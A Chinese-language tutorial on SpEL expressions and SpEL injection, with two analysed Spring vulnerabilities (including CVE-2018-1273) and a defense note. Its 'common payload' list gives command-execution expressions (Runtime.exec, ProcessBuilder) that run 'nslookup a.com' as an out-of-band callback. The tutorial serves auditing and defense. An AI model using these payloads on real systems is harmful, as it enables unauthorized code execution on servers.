什么是SPEL
Spring表达式语言全称为“Spring Expression Language”,缩写为“SpEL”,他能在运行时构建复杂表达式、存取对象属性、对象方法调用等等,并且能与 Spring 功能完美整合。表达式语言给静态 Java 语言增加了动态的功能,表达式语言是单独的模块,他只依赖与核心的模块,不依赖与其他模块,能够单独的使用。
因为 Spring 框架的广泛使用,Spel 表达式的应用也十分的广泛。
就安全领域而言,我们只要使用的是 #this 变量、[] 获取属性和 T 运算符,#this 变量用于引用当前评估对象,T 运算符可以用于指定 java.lang.Class 的实例,对 java.lang 中的对象的 T 引用不需要完整的包名,但引用所有其他对象时是需要的。
SpEL 表达式
基本表达式
字面量表达式、关系,逻辑与算数运算表达式、字符串链接及截取表达式、三目运算、正则表达式以及括号优先级表达式;
类相关表达式
类类型表达式、类实例化、instanceof 表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean 引用;
集合相关表达式
内联 List、内联数组、集合、字典访问、列表、字典;
其他表达式
模版表达式
SpEL 基础
在 pom.xml 导入 maven 或是把”org.springframework.expression-3.0.5.RELEASE.jar”添加到类路径中
1 | <properties> |
2 | <org.springframework.version>5.0.8.RELEASE</org.springframework.version> |
3 | </properties> |
4 | <dependency> |
5 | <groupId>org.springframework</groupId> |
6 | <artifactId>spring-expression</artifactId> |
7 | <version>${org.springframework.version}</version> |
8 | </dependency> |
SpEL 使用方式
XML配置
1
<bean id="numberGuess" class="org.spring.samples.NumberGuess">
2
<property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
3
<!-- other properties -->
4
</bean>
基于注解的使用
1
public class EmailSender {
2
"${spring.mail.username}") (
3
private String mailUsername;
4
"#{ systemProperties['user.region'] }") (
5
private String defaultLocale;
6
//...
7
}
代码里直接使用
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
1
ExpressionParser parser = new SpelExpressionParser();
2
Expression expression = parser.parseExpression("('Hello' + 'world').concat(#end)");
3
EvaluationContext context = new StandardEvaluationContext();
4
context.setVariable("end", "!");
5
System.out.println(expression.getValue(context));
最后是expression.getValue()执行表达式
- 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
- 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象。
- 构造上下文:准备比如变量定义等等表达式需要的上下文数据。
- 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。
SpEL 主要接口
1.ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
1 | public interface ExpressionParser { |
2 | Expression parseExpression(String expressionString); |
3 | Expression parseExpression(String expressionString, ParserContext context); |
4 | } |
实例:
1 | ExpressionParser parser = new SpelExpressionParser(); |
2 | ParserContext parserContext = new ParserContext() { |
3 | |
4 | public boolean isTemplate() { |
5 | return true; |
6 | } |
7 | |
8 | public String getExpressionPrefix() { |
9 | return "#{"; |
10 | } |
11 | |
12 | public String getExpressionSuffix() { |
13 | return "}"; |
14 | } |
15 | }; |
16 | String template = "#{'hello '}#{'world!'}"; |
17 | Expression expression = parser.parseExpression(template, parserContext); |
18 | System.out.println(expression.getValue()); |
EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。
SpEL 类相关表达式
其中表达式支持非常多的语法,能够造成代码执行的有以下2种:
类类型表达式
类类型表达式:使用“T(Type)”来表示java.lang.Class实例,“Type”必须是类全限定名,“java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。1
ExpressionParser parser = new SpelExpressionParser();
2
3
// java.lang 包类访问
4
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
5
System.out.println(result1);
6
7
//其他包类访问
8
String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";
9
Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
10
System.out.println(result2);
11
12
//类静态字段访问
13
int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
14
System.out.println(result3);
15
16
//类静态方法调用
17
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
18
System.out.println(result4);
类实例化表达式
类实例化同样使用java关键字“new”,类名必须是全限定名,但java.lang包内的类型除外,如String、Integer。1
ExpressionParser parser = new SpelExpressionParser();
2
Expression exp = parser.parseExpression("new java.util.Date()");
3
Date value = (Date) exp.getValue();
4
System.out.println(value);
审计关键点
org.springframework.expression.spel.standard
SpelExpressionParser
expression.getValue
expression.setValue
常用payload
1 | ${12*12} |
2 | T(java.lang.Runtime).getRuntime().exec("nslookup a.com") |
3 | T(Thread).sleep(10000) |
4 | #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com') |
5 | new java.lang.ProcessBuilder({'nslookup a.com'}).start() |
CVE漏洞简析
SpringBoot SpEL表达式注入漏洞
影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
其造成的原因主要是在 ErrorMvcAutoConfiguration.java
中的 SpelView
类:
1 | private static class SpelView implements View { |
2 | private final String template; |
3 | private final StandardEvaluationContext context = new StandardEvaluationContext(); |
4 | private PropertyPlaceholderHelper helper; |
5 | private PlaceholderResolver resolver; |
6 | |
7 | public SpelView(String template) { |
8 | this.template = template; |
9 | this.context.addPropertyAccessor(new MapAccessor()); |
10 | this.helper = new PropertyPlaceholderHelper("${", "}"); |
11 | this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context); |
12 | } |
13 | |
14 | public String getContentType() { |
15 | return "text/html"; |
16 | } |
17 | |
18 | public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { |
19 | if(response.getContentType() == null) { |
20 | response.setContentType(this.getContentType()); |
21 | } |
22 | |
23 | Map<String, Object> map = new HashMap(model); |
24 | map.put("path", request.getContextPath()); |
25 | this.context.setRootObject(map); |
26 | String result = this.helper.replacePlaceholders(this.template, this.resolver); |
27 | response.getWriter().append(result); |
28 | } |
29 | } |
大致流程为 PropertyPlaceholderHelper
类中通过 parseStringValue
方法递归字符串找到目标去掉 $()
,这个方法中调用 resolvePlaceholder
方法来在 context
中找到对应的 name
,并在这里执行了 getValue
操作。由此造成命令执行。代码如下:
1 | public String resolvePlaceholder(String name) { |
2 | Expression expression = this.parser.parseExpression(name); |
3 | |
4 | try { |
5 | Object value = expression.getValue(this.context); |
6 | return HtmlUtils.htmlEscape(value == null?null:value.toString()); |
7 | } catch (Exception var4) { |
8 | return null; |
9 | } |
10 | } |
其核心思想就是在递归中从 context
下的 message
中取出需要再次递归解析的 $(payload)
,由此来在下一次的解析后去掉 $()
并把其中 payload
当作传入的 name
参数来执行 getValue
操作。
Spring Data Commons远程代码执行漏洞(CVE-2018-1273)
影响版本:1.13-1.13.10、2.0-2.0.5
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
漏洞代码:
1 | private static class MapPropertyAccessor extends AbstractPropertyAccessor { |
2 | public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { |
3 | if (!this.isWritableProperty(propertyName)) { |
4 | throw new NotWritablePropertyException(this.type, propertyName); |
5 | } else { |
6 | StandardEvaluationContext context = new StandardEvaluationContext(); |
7 | context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService)); |
8 | context.setTypeConverter(new StandardTypeConverter(this.conversionService)); |
9 | context.setRootObject(this.map); |
10 | Expression expression = PARSER.parseExpression(propertyName); |
11 | PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty(); |
12 | TypeInformation<?> owningType = leafProperty.getOwningType(); |
13 | TypeInformation<?> propertyType = leafProperty.getTypeInformation(); |
14 | propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType; |
15 | if (propertyType != null && this.conversionRequired(value, propertyType.getType())) { |
16 | PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment()); |
17 | if (descriptor == null) { |
18 | throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType())); |
19 | } |
20 | MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1); |
21 | TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0); |
22 | if (typeDescriptor == null) { |
23 | throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter)); |
24 | } |
25 | value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor); |
26 | } |
27 | expression.setValue(context, value); |
28 | } |
29 | } |
开发者使用如下代码:
1 | (method = RequestMethod.POST) |
2 | public Object register(UserForm userForm, BindingResult binding, Model model) { |
3 | |
4 | userForm.validate(binding, userManagement); |
5 | if (binding.hasErrors()) { |
6 | return "users"; |
7 | } |
8 | |
9 | userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword())); |
10 | |
11 | RedirectView redirectView = new RedirectView("redirect:/users"); |
12 | redirectView.setPropagateQueryParams(true); |
13 | |
14 | return redirectView; |
15 | } |
其流程简单上说就是在获取POST过来的参数时候因为要自动绑定进入实体类,所以首先要通过 isWritableProperty
中调用的 getPropertyPath
来判断参数名。如:传来的username参数是否是开发者controller中接收的 UserForm
实体类里的一个属性名。然后把用户传入的参数key即 propertyName
进行 PARSER.parseExpression(propertyName)
,最后 setValue(context,value)
触发了恶意代码。
防御方式
因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了 SimpleEvaluationContext
作为安全类来防御该类漏洞。
参考:
https://www.codercto.com/a/55517.html
https://www.freebuf.com/vuls/197008.html
https://www.jianshu.com/p/ce4ac733a4b9